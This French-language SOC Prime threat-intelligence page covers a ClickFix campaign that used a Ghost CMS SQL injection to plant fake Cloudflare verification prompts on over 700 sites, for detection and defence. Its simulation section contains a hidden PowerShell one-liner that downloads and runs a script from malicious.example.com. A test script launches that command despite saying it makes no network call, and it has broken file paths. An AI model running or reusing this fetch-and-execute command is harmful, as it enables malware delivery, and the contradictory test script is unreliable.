SOC Prime Bias: Critique

29 May 2026 07:08 UTC

Plus de 700 sites éducatifs et technologiques détournés dans une vaste campagne de malware ClickFix

Author Photo
SOC Prime Team linkedin icon Suivre
Plus de 700 sites éducatifs et technologiques détournés dans une vaste campagne de malware ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Des attaquants ont exploité une faille critique d’injection SQL dans le système de gestion de contenu Ghost pour compromettre plus de 700 sites web éducatifs et technologiques. Après avoir obtenu des clés API administrateur, ils ont injecté du JavaScript malveillant affichant un faux message de vérification Cloudflare. La fausse page demandait aux visiteurs de copier et coller une commande Windows qui installait un malware sur leurs systèmes. La campagne repose sur l’ingénierie sociale pour inciter les utilisateurs à lancer eux-mêmes la charge utile.

Investigation

Les chercheurs ont identifié le problème comme CVE-2026-26980, affectant les versions de Ghost 3.24.0 à 6.19.0. Une exploitation réussie permettait un accès non authentifié au contenu de la base de données, y compris l’extraction de la clé API administrateur. Les attaquants ont ensuite utilisé la clé volée pour modifier le contenu du site et intégrer des scripts malveillants qui lançaient le flux d’infection de type ClickFix. Le code injecté présentait une fausse fenêtre de vérification qui incitait les utilisateurs à exécuter une commande via Windows Run ou PowerShell.

Atténuation

Les organisations doivent mettre à jour Ghost vers une version ultérieure à 6.19.0 qui résout CVE-2026-26980. Toutes les clés API administrateur exposées doivent être tournées immédiatement, et l’accès API doit être strictement restreint. Les défenseurs doivent également déployer une protection des endpoints avec filtrage web ou protection navigateur et former les utilisateurs à ne jamais copier et exécuter des commandes de sites non fiables.

Réponse

Les équipes de sécurité doivent détecter et bloquer les injections de JavaScript malveillant sur les sites basés sur Ghost et surveiller les pages de vérification Cloudflare factices. Sur les endpoints, les défenseurs doivent rechercher des tentatives d’exécution de commandes inhabituelles liées à ce leurre. En cas de compromis confirmé, retirez les scripts injectés, réinitialisez les clés API affectées et effectuez une analyse forensique sur les systèmes client touchés.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["<b>Action</b> – <b>T1674 Input Injection</b>: Exploit Ghost CMS SQL injection to read the database and obtain the Admin API key."] class action_sql_injection action action_content_injection["<b>Action</b> – <b>T1659 Content Injection</b>: Use the stolen API key to inject malicious JavaScript into site pages."] class action_content_injection action action_defacement["<b>Action</b> – <b>T1491 Defacement</b>: Deface the site with a fake Cloudflare verification dialog that displays a copyu2011paste command."] class action_defacement action action_user_copy_paste["<b>Action</b> – <b>T1204.004 User Execution</b>: Victim copies and runs the displayed command, satisfying the fake verification."] class action_user_copy_paste action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b>: The command launches PowerShell which downloads and executes the secondu2011stage payload."] class action_powershell action malware_clickfix["<b>Malware</b>: ClickFix<br/><b>Purpose</b>: Secondu2011stage payload delivered via PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% Connections action_sql_injection –>|leads_to| action_content_injection action_content_injection –>|leads_to| action_defacement action_defacement –>|leads_to| action_user_copy_paste action_user_copy_paste –>|triggers| op_user_execution op_user_execution –>|executes| action_powershell action_powershell –>|downloads| malware_clickfix "

Flux d’attaque

Exécution de simulation

Prérequis: Le contrôle préalable de télémetrie & baseline doit être passé.

Justification: Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer exactement la télémetrie attendue par la logique de détection.

  • Récit d’attaque et commandes:

    1. Leurre d’ingénierie sociale: La victime reçoit un e-mail de phishing prétendant que Cloudflare nécessite une vérification. L’email comprend une commande « Exécuter » :

      Commande de vérification fictive Cloudflare
    2. Interaction de la victime: L’utilisateur ouvre la boîte de dialogue Windows Exécuter (Win+R) et colle la chaîne exacte Commande de vérification fictive Cloudflare.

    3. Exécution de commande: La chaîne correspond à un one-liner PowerShell caché qui télécharge et exécute une charge utile malveillante :

      powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"

      Parce que la boîte de dialogue Exécuter invoque directement powershell.exe avec les arguments ci-dessus, le Champ de ligne de commande enregistré par Sysmon inclut la phrase littérale Commande de vérification fictive Cloudflare (l’attaquant préfixe la commande avec cette phrase pour déclencher la règle).

    4. Activité de la charge utile: Le script téléchargé dépose une web-shell dans C:ProgramDatacloudflare et contacte un serveur C2, répondant à T1505.001.

  • Script de test de régression: Le script PowerShell suivant reproduit exactement les étapes qu’un red-teamer prendrait pour générer la télémetrie déclenchant la détection.

    <#
    Simule l'exécution ClickFix « Vérification Cloudflare fictive ».
    But : Vérifier que la règle Sigma s'active sur la ligne de commande exacte.
    #>
    
    # Étape 1 : Préparez une charge utile factice (web-shell simulé) – pas d'appel réseau réel.
    $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1"
    New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
    Set-Content -Path $payloadPath -Value "# Dummy web-shell – no malicious code"
    
    # Étape 2 : Construisez la ligne de commande malveillante qu'une victime exécuterait.
    $maliciousCmd = @"
    Fake Cloudflare Verification Command
    powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`""
    "@
    
    # Étape 3 : Simulez la boîte de dialogue Exécuter en lançant la commande via cmd.exe /c.
    # Cela préserve la chaîne littérale dans la ligne de commande du processus.
    $fullCmd = "cmd.exe /c `"$maliciousCmd`""
    Write-Host "`n[+] Exécution de la commande malveillante simulée..."
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null
    
    # Étape 4 : Faites une pause brève pour permettre à Sysmon d'enregistrer la création du processus.
    Start-Sleep -Seconds 5
    
    Write-Host "`n[+] Simulation terminée. Vérifiez SIEM pour un événement de détection."
    # Le nettoyage sera effectué séparément.
  • Commandes de nettoyage: Retirez les fichiers factices et tous les processus restants.

    # Arrêtez tous les processus PowerShell restants démarrés par le test (s'ils sont encore en cours d'exécution)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.StartInfo.Arguments -match "Fake Cloudflare Verification Command"} |
        Stop-Process -Force
    
    # Supprimez le dossier web-shell factice
    Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue
    
    Write-Host "[+] Nettoyage terminé."